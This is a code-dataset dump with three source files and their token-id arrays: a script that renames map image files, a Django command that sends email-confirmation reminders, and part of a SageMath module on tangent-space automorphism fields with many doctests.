max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
RenameMaps.py | uesp/uesp-dbmapscripts | 0 | 16507 | <reponame>uesp/uesp-dbmapscripts<filename>RenameMaps.py
import os
import sys
import shutil
import re
INPUT_PATH = "d:\\dbmaps\\test\\final\\"
OUTPUT_PATH = "d:\\dbmaps\\test\\zoom17\\"
for filename in os.listdir(INPUT_PATH):
InputFile = INPUT_PATH + filename
matchResult = re.search('([a-zA-Z]+)-([0-9]+)-([0-9]+)-([0-9]+)\.', filename)
if (not matchResult): continue
cellX = int(matchResult.group(2)) - 90
cellY = int(matchResult.group(3)) - 40
zoom = matchResult.group(4)
newFilename = "db-" + str(cellX) + "-" + str(cellY) + "-" + str(zoom) + ".jpg"
OutputFile = OUTPUT_PATH + newFilename
print("Copying " + filename + " to " + newFilename + "...")
shutil.copyfile(InputFile, OutputFile)
| [
1,
529,
276,
1112,
420,
29958,
1041,
29886,
29914,
1041,
29886,
29899,
2585,
1958,
16713,
29966,
9507,
29958,
29934,
3871,
29924,
2547,
29889,
2272,
13,
5215,
2897,
30004,
13,
5215,
10876,
30004,
13,
5215,
528,
4422,
30004,
13,
5215,
337,
30004,
13,
30004,
13,
1177,
12336,
29918,
10145,
353,
376,
29881,
22298,
2585,
10339,
1966,
1688,
1966,
8394,
1966,
19451,
13,
12015,
12336,
29918,
10145,
353,
376,
29881,
22298,
2585,
10339,
1966,
1688,
1966,
2502,
290,
29896,
29955,
1966,
19451,
13,
30004,
13,
30004,
13,
1454,
10422,
297,
2897,
29889,
1761,
3972,
29898,
1177,
12336,
29918,
10145,
1125,
30004,
13,
1678,
10567,
2283,
353,
2672,
12336,
29918,
10145,
718,
10422,
30004,
13,
30004,
13,
1678,
1993,
3591,
353,
337,
29889,
4478,
877,
4197,
29874,
29899,
25265,
29899,
29999,
10062,
6817,
4197,
29900,
29899,
29929,
10062,
6817,
4197,
29900,
29899,
29929,
10062,
6817,
4197,
29900,
29899,
29929,
10062,
2144,
29889,
742,
10422,
8443,
13,
1678,
565,
313,
1333,
1993,
3591,
1125,
6773,
30004,
13,
30004,
13,
1678,
3038,
29990,
353,
938,
29898,
4352,
3591,
29889,
2972,
29898,
29906,
876,
448,
29871,
29929,
29900,
30004,
13,
1678,
3038,
29979,
353,
938,
29898,
4352,
3591,
29889,
2972,
29898,
29941,
876,
448,
29871,
29946,
29900,
30004,
13,
1678,
19342,
353,
1993,
3591,
29889,
2972,
29898,
29946,
8443,
13,
30004,
13,
1678,
716,
3434,
3871,
353,
376,
2585,
29899,
29908,
718,
851,
29898,
3729,
29990,
29897,
718,
11663,
29908,
718,
851,
29898,
3729,
29979,
29897,
718,
11663,
29908,
718,
851,
29898,
2502,
290,
29897,
718,
11393,
6173,
19451,
13,
1678,
10604,
2283,
353,
19474,
12336,
29918,
10145,
718,
716,
3434,
3871,
30004,
13,
30004,
13,
1678,
1596,
703,
11882,
292,
376,
718,
10422,
718,
376,
304,
376,
718,
716,
3434,
3871,
718,
29804,
1159,
30004,
13,
30004,
13,
1678,
528,
4422,
29889,
8552,
1445,
29898,
4290,
2283,
29892,
10604,
2283,
8443,
13,
30004,
13,
30004,
13,
2
] |
get_together/management/commands/send_email_confirmation_reminder.py | albjeremias/GetTogether | 13 | 66591 | from django.core.management.base import BaseCommand, CommandError
from django.urls import reverse
from django.core.mail import send_mail
from django.template.loader import get_template, render_to_string
from django.conf import settings
from django.contrib.sites.models import Site
from accounts.models import Account, EmailConfirmation, EmailRecord
import time
import urllib
import datetime
class Command(BaseCommand):
help = "Sends confirmation emails to accounts that haven't been confirmed yet"
def add_arguments(self, parser):
parser.add_argument('-d','--days-since-last', dest='days', type=int, default=None)
def handle(self, *args, **options):
site = Site.objects.get(id=1)
accounts = Account.objects.filter(is_email_confirmed=False)
for account in accounts:
if not account.user.email:
break # Skip accounts without an email
confirmation_request = EmailConfirmation.objects.filter(user=account.user)
if 'days' in options and options.get('days', None):
discard_before = datetime.datetime.now(tz=datetime.timezone.utc) - datetime.timedelta(days=options.get('days'))
for request in confirmation_request.filter(expires__lte=discard_before):
request.delete()
if confirmation_request.count() > 0:
print("Confirmation request pending for %s <%s>" % (account.user.username, account.user.email))
break
print("Sending confirmation email to %s <%s>" % (account.user.username, account.user.email))
confirmation_request = account.new_confirmation_request()
confirmation_url = "https://%s%s" % (site.domain, reverse('confirm-email', kwargs={'confirmation_key':confirmation_request.key}))
context = {
'confirmation': confirmation_request,
'confirmation_url': confirmation_url,
}
email_subject = 'Email confirmation reminder'
email_body_text = render_to_string('get_together/emails/users/confirm_email.txt', context)
email_body_html = render_to_string('get_together/emails/users/confirm_email.html', context)
email_recipients = [account.user.email]
email_from = getattr(settings, 'DEFAULT_FROM_EMAIL', '<EMAIL>')
success = send_mail(
subject=email_subject,
message=email_body_text,
from_email=email_from,
recipient_list=email_recipients,
html_message=email_body_html
)
EmailRecord.objects.create(
sender=None,
recipient=account.user,
email=account.user.email,
subject=email_subject,
body=email_body_text,
ok=success
)
time.sleep(0.1)
| [
1,
515,
9557,
29889,
3221,
29889,
21895,
29889,
3188,
1053,
7399,
6255,
29892,
10516,
2392,
13,
3166,
9557,
29889,
26045,
1053,
11837,
13,
3166,
9557,
29889,
3221,
29889,
2549,
1053,
3638,
29918,
2549,
13,
3166,
9557,
29889,
6886,
29889,
12657,
1053,
679,
29918,
6886,
29892,
4050,
29918,
517,
29918,
1807,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
21570,
29889,
16315,
29889,
9794,
1053,
10781,
13,
13,
3166,
15303,
29889,
9794,
1053,
16535,
29892,
22608,
16376,
3568,
362,
29892,
22608,
9182,
13,
13,
5215,
931,
13,
5215,
3142,
1982,
13,
5215,
12865,
13,
13,
1990,
10516,
29898,
5160,
6255,
1125,
13,
1678,
1371,
353,
376,
29903,
1975,
9659,
362,
24609,
304,
15303,
393,
7359,
29915,
29873,
1063,
16725,
3447,
29908,
13,
13,
1678,
822,
788,
29918,
25699,
29898,
1311,
29892,
13812,
1125,
13,
4706,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29881,
3788,
489,
16700,
29899,
16076,
29899,
4230,
742,
2731,
2433,
16700,
742,
1134,
29922,
524,
29892,
2322,
29922,
8516,
29897,
13,
13,
1678,
822,
4386,
29898,
1311,
29892,
334,
5085,
29892,
3579,
6768,
1125,
13,
4706,
3268,
353,
10781,
29889,
12650,
29889,
657,
29898,
333,
29922,
29896,
29897,
13,
4706,
15303,
353,
16535,
29889,
12650,
29889,
4572,
29898,
275,
29918,
5269,
29918,
5527,
381,
2168,
29922,
8824,
29897,
13,
4706,
363,
3633,
297,
15303,
29901,
13,
9651,
565,
451,
3633,
29889,
1792,
29889,
5269,
29901,
13,
18884,
2867,
396,
4971,
666,
15303,
1728,
385,
4876,
13,
9651,
9659,
362,
29918,
3827,
353,
22608,
16376,
3568,
362,
29889,
12650,
29889,
4572,
29898,
1792,
29922,
10149,
29889,
1792,
29897,
13,
13,
9651,
565,
525,
16700,
29915,
297,
3987,
322,
3987,
29889,
657,
877,
16700,
742,
6213,
1125,
13,
18884,
2313,
538,
29918,
11083,
353,
12865,
29889,
12673,
29889,
3707,
29898,
17559,
29922,
12673,
29889,
2230,
8028,
29889,
329,
29883,
29897,
448,
12865,
29889,
9346,
287,
2554,
29898,
16700,
29922,
6768,
29889,
657,
877,
16700,
8785,
13,
18884,
363,
2009,
297,
9659,
362,
29918,
3827,
29889,
4572,
29898,
4548,
2658,
1649,
29880,
371,
29922,
2218,
7543,
29918,
11083,
1125,
13,
462,
1678,
2009,
29889,
8143,
580,
13,
13,
9651,
565,
9659,
362,
29918,
3827,
29889,
2798,
580,
1405,
29871,
29900,
29901,
13,
18884,
1596,
703,
16376,
3568,
362,
2009,
28235,
363,
1273,
29879,
20577,
29879,
11903,
1273,
313,
10149,
29889,
1792,
29889,
6786,
29892,
3633,
29889,
1792,
29889,
5269,
876,
13,
18884,
2867,
13,
13,
9651,
1596,
703,
29903,
2548,
9659,
362,
4876,
304,
1273,
29879,
20577,
29879,
11903,
1273,
313,
10149,
29889,
1792,
29889,
6786,
29892,
3633,
29889,
1792,
29889,
5269,
876,
13,
9651,
9659,
362,
29918,
3827,
353,
3633,
29889,
1482,
29918,
26897,
362,
29918,
3827,
580,
13,
9651,
9659,
362,
29918,
2271,
353,
376,
991,
597,
29995,
29879,
29995,
29879,
29908,
1273,
313,
2746,
29889,
7247,
29892,
11837,
877,
26897,
29899,
5269,
742,
9049,
5085,
3790,
29915,
26897,
362,
29918,
1989,
2396,
26897,
362,
29918,
3827,
29889,
1989,
20073,
13,
13,
9651,
3030,
353,
426,
13,
18884,
525,
26897,
362,
2396,
9659,
362,
29918,
3827,
29892,
13,
18884,
525,
26897,
362,
29918,
2271,
2396,
9659,
362,
29918,
2271,
29892,
13,
9651,
500,
13,
9651,
4876,
29918,
16009,
353,
525,
9823,
9659,
362,
1083,
4995,
29915,
13,
9651,
4876,
29918,
2587,
29918,
726,
353,
4050,
29918,
517,
29918,
1807,
877,
657,
29918,
29873,
12966,
29914,
331,
2234,
29914,
7193,
29914,
26897,
29918,
5269,
29889,
3945,
742,
3030,
29897,
13,
9651,
4876,
29918,
2587,
29918,
1420,
353,
4050,
29918,
517,
29918,
1807,
877,
657,
29918,
29873,
12966,
29914,
331,
2234,
29914,
7193,
29914,
26897,
29918,
5269,
29889,
1420,
742,
3030,
29897,
13,
9651,
4876,
29918,
4361,
29886,
10070,
353,
518,
10149,
29889,
1792,
29889,
5269,
29962,
13,
9651,
4876,
29918,
3166,
353,
679,
5552,
29898,
11027,
29892,
525,
23397,
29918,
21482,
29918,
26862,
6227,
742,
12801,
26862,
6227,
29958,
1495,
13,
9651,
2551,
353,
3638,
29918,
2549,
29898,
13,
18884,
4967,
29922,
5269,
29918,
16009,
29892,
13,
18884,
2643,
29922,
5269,
29918,
2587,
29918,
726,
29892,
13,
18884,
515,
29918,
5269,
29922,
5269,
29918,
3166,
29892,
13,
18884,
23957,
993,
29918,
1761,
29922,
5269,
29918,
4361,
29886,
10070,
29892,
13,
18884,
3472,
29918,
4906,
29922,
5269,
29918,
2587,
29918,
1420,
13,
9651,
1723,
13,
13,
9651,
22608,
9182,
29889,
12650,
29889,
3258,
29898,
13,
18884,
10004,
29922,
8516,
29892,
13,
18884,
23957,
993,
29922,
10149,
29889,
1792,
29892,
13,
18884,
4876,
29922,
10149,
29889,
1792,
29889,
5269,
29892,
13,
18884,
4967,
29922,
5269,
29918,
16009,
29892,
13,
18884,
3573,
29922,
5269,
29918,
2587,
29918,
726,
29892,
13,
18884,
3431,
29922,
8698,
13,
9651,
1723,
13,
9651,
931,
29889,
17059,
29898,
29900,
29889,
29896,
29897,
13,
13,
13,
13,
2
] |
src/sage/manifolds/differentiable/automorphismfield.py | mkoeppe/sage | 1 | 197161 | <gh_stars>1-10
r"""
Tangent-Space Automorphism Fields
The class :class:`AutomorphismField` implements fields of automorphisms of
tangent spaces to a generic (a priori not parallelizable) differentiable
manifold, while the class :class:`AutomorphismFieldParal`
is devoted to fields of automorphisms of tangent spaces to a parallelizable
manifold. The latter play the important role of transitions between vector
frames sharing the same domain on a differentiable manifold.
AUTHORS:
- <NAME> (2015): initial version
- <NAME> (2016): review tweaks
"""
# *****************************************************************************
# Copyright (C) 2015 <NAME> <<EMAIL>>
# Copyright (C) 2016 <NAME> <<EMAIL>>
#
# Distributed under the terms of the GNU General Public License (GPL)
# as published by the Free Software Foundation; either version 2 of
# the License, or (at your option) any later version.
# https://www.gnu.org/licenses/
# *****************************************************************************
from sage.tensor.modules.free_module_automorphism import FreeModuleAutomorphism
from sage.manifolds.differentiable.tensorfield import TensorField
from sage.manifolds.differentiable.tensorfield_paral import TensorFieldParal
class AutomorphismField(TensorField):
r"""
Field of automorphisms of tangent spaces to a generic (a priori
not parallelizable) differentiable manifold.
Given a differentiable manifold `U` and a differentiable map
`\Phi: U \rightarrow M` to a differentiable manifold `M`,
a *field of tangent-space automorphisms along* `U` *with values on*
`M \supset\Phi(U)` is a differentiable map
.. MATH::
a:\ U \longrightarrow T^{(1,1)} M,
with `T^{(1,1)} M` being the tensor bundle of type `(1,1)` over `M`,
such that
.. MATH::
\forall p \in U,\ a(p) \in \mathrm{Aut}(T_{\Phi(p)} M),
i.e. `a(p)` is an automorphism of the tangent space to `M` at the
point `\Phi(p)`.
The standard case of a field of tangent-space automorphisms *on* a
manifold corresponds to `U = M` and `\Phi = \mathrm{Id}_M`. Other
common cases are `\Phi` being an immersion and `\Phi` being a curve
in `M` (`U` is then an open interval of `\RR`).
.. NOTE::
If `M` is parallelizable, then :class:`AutomorphismFieldParal`
*must* be used instead.
INPUT:
- ``vector_field_module`` -- module `\mathfrak{X}(U,\Phi)` of vector
fields along `U` with values on `M` via the map `\Phi`
- ``name`` -- (default: ``None``) name given to the field
- ``latex_name`` -- (default: ``None``) LaTeX symbol to denote the field;
if none is provided, the LaTeX symbol is set to ``name``
- ``is_identity`` -- (default: ``False``) determines whether the
constructed object is a field of identity automorphisms
EXAMPLES:
Field of tangent-space automorphisms on a non-parallelizable
2-dimensional manifold::
sage: M = Manifold(2, 'M')
sage: U = M.open_subset('U') ; V = M.open_subset('V')
sage: M.declare_union(U,V) # M is the union of U and V
sage: c_xy.<x,y> = U.chart() ; c_uv.<u,v> = V.chart()
sage: transf = c_xy.transition_map(c_uv, (x+y, x-y), intersection_name='W',
....: restrictions1= x>0, restrictions2= u+v>0)
sage: inv = transf.inverse()
sage: a = M.automorphism_field(name='a') ; a
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
sage: a.parent()
General linear group of the Module X(M) of vector fields on the
2-dimensional differentiable manifold M
We first define the components of `a` with respect to the
coordinate frame on `U`::
sage: eU = c_xy.frame() ; eV = c_uv.frame()
sage: a[eU,:] = [[1,x], [0,2]]
It is equivalent to pass the components while defining `a`::
sage: a = M.automorphism_field({eU: [[1,x], [0,2]]}, name='a')
We then set the components with respect to the coordinate frame
on `V` by extending the expressions of the components in the
corresponding subframe on `W = U \cap V`::
sage: W = U.intersection(V)
sage: a.add_comp_by_continuation(eV, W, c_uv)
At this stage, the automorphism field `a` is fully defined::
sage: a.display(eU)
a = d/dx*dx + x d/dx*dy + 2 d/dy*dy
sage: a.display(eV)
a = (1/4*u + 1/4*v + 3/2) d/du*du + (-1/4*u - 1/4*v - 1/2) d/du*dv
+ (1/4*u + 1/4*v - 1/2) d/dv*du + (-1/4*u - 1/4*v + 3/2) d/dv*dv
In particular, we may ask for its inverse on the whole manifold `M`::
sage: ia = a.inverse() ; ia
Field of tangent-space automorphisms a^(-1) on the 2-dimensional
differentiable manifold M
sage: ia.display(eU)
a^(-1) = d/dx*dx - 1/2*x d/dx*dy + 1/2 d/dy*dy
sage: ia.display(eV)
a^(-1) = (-1/8*u - 1/8*v + 3/4) d/du*du + (1/8*u + 1/8*v + 1/4) d/du*dv
+ (-1/8*u - 1/8*v + 1/4) d/dv*du + (1/8*u + 1/8*v + 3/4) d/dv*dv
Equivalently, one can use the power minus one to get the inverse::
sage: ia is a^(-1)
True
or the operator ``~``::
sage: ia is ~a
True
"""
def __init__(self, vector_field_module, name=None, latex_name=None):
r"""
Construct a field of tangent-space automorphisms on a
non-parallelizable manifold.
TESTS:
Construction via ``parent.element_class``, and not via a direct call
to ``AutomorphismField``, to fit with the category framework::
sage: M = Manifold(2, 'M')
sage: U = M.open_subset('U') ; V = M.open_subset('V')
sage: M.declare_union(U,V) # M is the union of U and V
sage: c_xy.<x,y> = U.chart() ; c_uv.<u,v> = V.chart()
sage: transf = c_xy.transition_map(c_uv, (x+y, x-y), intersection_name='W',
....: restrictions1= x>0, restrictions2= u+v>0)
sage: inv = transf.inverse()
sage: XM = M.vector_field_module()
sage: GL = XM.general_linear_group()
sage: a = GL.element_class(XM, name='a'); a
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
sage: a[c_xy.frame(), :] = [[1+x^2, 0], [0, 1+y^2]]
sage: a.add_comp_by_continuation(c_uv.frame(), U.intersection(V), c_uv)
sage: TestSuite(a).run(skip='_test_pickling')
Construction of the identity field::
sage: b = GL.one(); b
Field of tangent-space identity maps on the 2-dimensional
differentiable manifold M
sage: TestSuite(b).run(skip='_test_pickling')
Construction with ``DifferentiableManifold.automorphism_field``::
sage: a1 = M.automorphism_field(name='a'); a1
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
sage: type(a1) == type(a)
True
.. TODO::
Fix ``_test_pickling`` (in the superclass :class:`TensorField`).
"""
TensorField.__init__(self, vector_field_module, (1,1), name=name,
latex_name=latex_name,
parent=vector_field_module.general_linear_group())
self._is_identity = False # a priori
self._init_derived() # initialization of derived quantities
def _repr_(self):
r"""
Return a string representation of ``self``.
TESTS::
sage: M = Manifold(2, 'M')
sage: a = M.automorphism_field(name='a')
sage: a._repr_()
'Field of tangent-space automorphisms a on the 2-dimensional differentiable manifold M'
sage: repr(a) # indirect doctest
'Field of tangent-space automorphisms a on the 2-dimensional differentiable manifold M'
sage: a # indirect doctest
Field of tangent-space automorphisms a on the 2-dimensional
differentiable manifold M
"""
description = "Field of tangent-space "
if self._is_identity:
description += "identity maps "
else:
description += "automorphisms "
if self._name is not None:
description += self._name + " "
return self._final_repr(description)
def _init_derived(self):
r"""
Initialize the derived quantities.
TESTS::
sage: M = Manifold(2, 'M')
sage: a = M.automorphism_field(name='a')
sage: a._init_derived()
"""
TensorField._init_derived(self)
self._inverse = None # inverse not set yet
def _del_derived(self):
r"""
Delete the derived quantities.
TESTS::
sage: M = Manifold(2, 'M')
sage: a = M.automorphism_field(name='a')
sage: a._del_derived()
"""
# First delete the derived quantities pertaining to the mother class:
TensorField._del_derived(self)
# then deletes the inverse automorphism:
self._inverse = None
def set_comp(self, basis=None):
r"""
Return the components of ``self`` w.r.t. a given module basis for
assignment.
The components with respect to other bases are deleted, in order to
avoid any inconsistency. To keep them, use the method :meth:`add_comp`
instead.
INPUT:
- ``basis`` -- (default: ``None``) basis in which the components are
defined; if none is provided, the components are assumed to refer to
the module's default basis
OUTPUT:
- components in the given basis, as an instance of the
class :class:`~sage.tensor.modules.comp.Components`; if such
components did not exist previously, they are created.
EXAMPLES::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: e_uv = c_uv.frame()
sage: a= M.automorphism_field(name='a')
sage: a.set_comp(e_uv)
2-indices components w.r.t. Coordinate frame (V, (d/du,d/dv))
sage: a.set_comp(e_uv)[0,0] = u+v
sage: a.set_comp(e_uv)[1,1] = u+v
sage: a.display(e_uv)
a = (u + v) d/du*du + (u + v) d/dv*dv
Setting the components in a new frame::
sage: e = V.vector_frame('e')
sage: a.set_comp(e)
2-indices components w.r.t. Vector frame (V, (e_0,e_1))
sage: a.set_comp(e)[0,1] = u*v
sage: a.set_comp(e)[1,0] = u*v
sage: a.display(e)
a = u*v e_0*e^1 + u*v e_1*e^0
Since the frames ``e`` and ``e_uv`` are defined on the same domain, the
components w.r.t. ``e_uv`` have been erased::
sage: a.display(c_uv.frame())
Traceback (most recent call last):
...
ValueError: no basis could be found for computing the components
in the Coordinate frame (V, (d/du,d/dv))
Since the identity map is a special element, its components cannot be
changed::
sage: id = M.tangent_identity_field()
sage: id.add_comp(e)[0,1] = u*v
Traceback (most recent call last):
...
AssertionError: the components of the identity map cannot be changed
"""
if self._is_identity:
raise AssertionError("the components of the identity map cannot be "
"changed")
return TensorField._set_comp_unsafe(self, basis=basis)
def add_comp(self, basis=None):
r"""
Return the components of ``self`` w.r.t. a given module basis for
assignment, keeping the components w.r.t. other bases.
To delete the components w.r.t. other bases, use the method
:meth:`set_comp` instead.
INPUT:
- ``basis`` -- (default: ``None``) basis in which the components are
defined; if none is provided, the components are assumed to refer to
the module's default basis
.. WARNING::
If the automorphism field has already components in other bases, it
is the user's responsibility to make sure that the components
to be added are consistent with them.
OUTPUT:
- components in the given basis, as an instance of the
class :class:`~sage.tensor.modules.comp.Components`;
if such components did not exist previously, they are created
EXAMPLES::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: e_uv = c_uv.frame()
sage: a= M.automorphism_field(name='a')
sage: a.add_comp(e_uv)
2-indices components w.r.t. Coordinate frame (V, (d/du,d/dv))
sage: a.add_comp(e_uv)[0,0] = u+v
sage: a.add_comp(e_uv)[1,1] = u+v
sage: a.display(e_uv)
a = (u + v) d/du*du + (u + v) d/dv*dv
Setting the components in a new frame::
sage: e = V.vector_frame('e')
sage: a.add_comp(e)
2-indices components w.r.t. Vector frame (V, (e_0,e_1))
sage: a.add_comp(e)[0,1] = u*v
sage: a.add_comp(e)[1,0] = u*v
sage: a.display(e)
a = u*v e_0*e^1 + u*v e_1*e^0
The components with respect to ``e_uv`` are kept::
sage: a.display(e_uv)
a = (u + v) d/du*du + (u + v) d/dv*dv
Since the identity map is a special element, its components cannot be
changed::
sage: id = M.tangent_identity_field()
sage: id.add_comp(e)[0,1] = u*v
Traceback (most recent call last):
...
AssertionError: the components of the identity map cannot be changed
"""
if self._is_identity:
raise AssertionError("the components of the identity map cannot be "
"changed")
return TensorField._add_comp_unsafe(self, basis=basis)
def _new_instance(self):
r"""
Create an instance of the same class as ``self`` on the same
vector field module.
TESTS::
sage: M = Manifold(5, 'M')
sage: a = M.automorphism_field(name='a')
sage: a._new_instance()
Field of tangent-space automorphisms on the 5-dimensional
differentiable manifold M
sage: a._new_instance().parent() is a.parent()
True
"""
return type(self)(self._vmodule)
def __call__(self, *arg):
r"""
Redefinition of
:meth:`~sage.manifolds.differentiable.tensorfield.TensorField.__call__`
to allow for a proper treatment of the identity map and of the call
with a single argument
TESTS:
Field of identity maps on the 2-sphere::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: xy_to_uv = c_xy.transition_map(c_uv, (x/(x^2+y^2), y/(x^2+y^2)),
....: intersection_name='W', restrictions1= x^2+y^2!=0,
....: restrictions2= u^2+v^2!=0)
sage: uv_to_xy = xy_to_uv.inverse()
sage: e_xy = c_xy.frame(); e_uv = c_uv.frame()
sage: w = M.vector_field({e_xy: [3, 1]}, name='w')
sage: w.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: z = M.one_form({e_xy: [-y, x]}, name='z')
sage: z.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: Id = M.tangent_identity_field()
sage: s = Id(w); s
Vector field w on the 2-dimensional differentiable manifold M
sage: s == w
True
sage: s = Id(z, w); s
Scalar field z(w) on the 2-dimensional differentiable manifold M
sage: s == z(w)
True
Field of automorphisms on the 2-sphere::
sage: a = M.automorphism_field({e_xy: [[-1, 0], [0, 1]]}, name='a')
sage: a.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
Call with a single argument::
sage: s = a(w); s
Vector field a(w) on the 2-dimensional differentiable manifold M
sage: s.display(e_xy)
a(w) = -3 d/dx + d/dy
sage: s.display(e_uv)
a(w) = (3*u^2 - 2*u*v - 3*v^2) d/du + (u^2 + 6*u*v - v^2) d/dv
sage: s.restrict(U) == a.restrict(U)(w.restrict(U))
True
sage: s.restrict(V) == a.restrict(V)(w.restrict(V))
True
sage: s.restrict(U) == a(w.restrict(U))
True
sage: s.restrict(U) == a.restrict(U)(w)
True
Call with two arguments::
sage: s = a(z, w); s
Scalar field a(z,w) on the 2-dimensional differentiable manifold M
sage: s.display()
a(z,w): M --> R
on U: (x, y) |--> x + 3*y
on V: (u, v) |--> (u + 3*v)/(u^2 + v^2)
sage: s.restrict(U) == a.restrict(U)(z.restrict(U), w.restrict(U))
True
sage: s.restrict(V) == a.restrict(V)(z.restrict(V), w.restrict(V))
True
sage: s.restrict(U) == a(z.restrict(U), w.restrict(U))
True
sage: s.restrict(U) == a(z, w.restrict(U))
True
"""
if self._is_identity:
if len(arg) == 1:
# The identity map acting as such, on a vector field:
vector = arg[0]
if vector._tensor_type != (1,0):
raise TypeError("the argument must be a vector field")
dom = self._domain.intersection(vector._domain)
return vector.restrict(dom)
elif len(arg) == 2:
# self acting as a type-(1,1) tensor on a pair
# (1-form, vector field), returning a scalar field:
oneform = arg[0]
vector = arg[1]
dom = self._domain.intersection(
oneform._domain).intersection(vector._domain)
return oneform.restrict(dom)(vector.restrict(dom))
else:
raise TypeError("wrong number of arguments")
# Generic case
if len(arg) == 1:
# The field of automorphisms acting on a vector field:
vector = arg[0]
if vector._tensor_type != (1,0):
raise TypeError("the argument must be a vector field")
dom = self._domain.intersection(vector._domain)
vector_dom = vector.restrict(dom)
if dom != self._domain:
return self.restrict(dom)(vector_dom)
resu = dom.vector_field()
if self._name is not None and vector._name is not None:
resu._name = self._name + "(" + vector._name + ")"
if self._latex_name is not None and vector._latex_name is not None:
resu._latex_name = self._latex_name + r"\left(" + \
vector._latex_name + r"\right)"
for sdom, automorph in self._restrictions.items():
resu._restrictions[sdom] = automorph(vector_dom.restrict(sdom))
return resu
# Case of 2 arguments:
return TensorField.__call__(self, *arg)
#### MultiplicativeGroupElement methods ####
def __invert__(self):
r"""
Return the inverse automorphism of ``self``.
EXAMPLES:
Inverse of a field of tangent-space automorphisms on a
non-parallelizable 2-dimensional manifold::
sage: M = Manifold(2, 'M')
sage: U = M.open_subset('U') ; V = M.open_subset('V')
sage: M.declare_union(U,V) # M is the union of U and V
sage: W = U.intersection(V)
sage: c_xy.<x,y> = U.chart() ; c_uv.<u,v> = V.chart()
sage: transf = c_xy.transition_map(c_uv, (x+y, x-y),
....: intersection_name='W', restrictions1= x>0, restrictions2= u+v>0)
sage: inv = transf.inverse()
sage: eU = c_xy.frame() ; eV = c_uv.frame()
sage: a = M.automorphism_field({eU: [[1,x], [0,2]]}, name='a')
sage: a.add_comp_by_continuation(eV, W, c_uv)
sage: ia = a.inverse() ; ia
Field of tangent-space automorphisms a^(-1) on the 2-dimensional
differentiable manifold M
sage: a[eU,:], ia[eU,:]
(
[1 x] [ 1 -1/2*x]
[0 2], [ 0 1/2]
)
sage: a[eV,:], ia[eV,:]
(
[ 1/4*u + 1/4*v + 3/2 -1/4*u - 1/4*v - 1/2]
[ 1/4*u + 1/4*v - 1/2 -1/4*u - 1/4*v + 3/2],
[-1/8*u - 1/8*v + 3/4 1/8*u + 1/8*v + 1/4]
[-1/8*u - 1/8*v + 1/4 1/8*u + 1/8*v + 3/4]
)
Let us check that ia is indeed the inverse of a::
sage: s = a.contract(ia)
sage: s[eU,:], s[eV,:]
(
[1 0] [1 0]
[0 1], [0 1]
)
sage: s = ia.contract(a)
sage: s[eU,:], s[eV,:]
(
[1 0] [1 0]
[0 1], [0 1]
)
The result is cached::
sage: a.inverse() is ia
True
Instead of ``inverse()``, one can use the power minus one to get the
inverse::
sage: ia is a^(-1)
True
or the operator ``~``::
sage: ia is ~a
True
"""
if self._is_identity:
return self
if self._inverse is None:
from sage.tensor.modules.format_utilities import is_atomic
if self._name is None:
inv_name = None
else:
if is_atomic(self._name, ['*']):
inv_name = self._name + '^(-1)'
else:
inv_name = '(' + self._name + ')^(-1)'
if self._latex_name is None:
inv_latex_name = None
else:
if is_atomic(self._latex_name, ['\\circ', '\\otimes']):
inv_latex_name = self._latex_name + r'^{-1}'
else:
inv_latex_name = r'\left(' + self._latex_name + \
r'\right)^{-1}'
self._inverse = self._vmodule.automorphism(name=inv_name,
latex_name=inv_latex_name)
for dom, rst in self._restrictions.items():
self._inverse._restrictions[dom] = rst.inverse()
return self._inverse
inverse = __invert__
def _mul_(self, other):
r"""
Automorphism composition.
This implements the group law of `GL(X(U,\Phi))`, with `X(U,\Phi)`
being the module of ``self``.
INPUT:
- ``other`` -- an automorphism of the same module as ``self``
OUTPUT:
- the automorphism resulting from the composition of ``other`` and
``self``
TESTS::
sage: M = Manifold(2, 'M') # the 2-dimensional sphere S^2
sage: U = M.open_subset('U') # complement of the North pole
sage: c_xy.<x,y> = U.chart() # stereographic coordinates from the North pole
sage: V = M.open_subset('V') # complement of the South pole
sage: c_uv.<u,v> = V.chart() # stereographic coordinates from the South pole
sage: M.declare_union(U,V) # S^2 is the union of U and V
sage: xy_to_uv = c_xy.transition_map(c_uv, (x/(x^2+y^2), y/(x^2+y^2)),
....: intersection_name='W', restrictions1= x^2+y^2!=0,
....: restrictions2= u^2+v^2!=0)
sage: uv_to_xy = xy_to_uv.inverse()
sage: e_xy = c_xy.frame(); e_uv = c_uv.frame()
sage: a = M.automorphism_field({e_xy: [[-1, 0], [0, 1]]}, name='a')
sage: a.add_comp_by_continuation(e_uv, U.intersection(V), c_uv)
sage: b = M.automorphism_field({e_uv: [[1, 0], [0, -2]]}, name='b')
sage: b.add_comp_by_continuation(e_xy, U.intersection(V), c_xy)
sage: s = a._mul_(b); s
Field of tangent-space automorphisms on the 2-dimensional
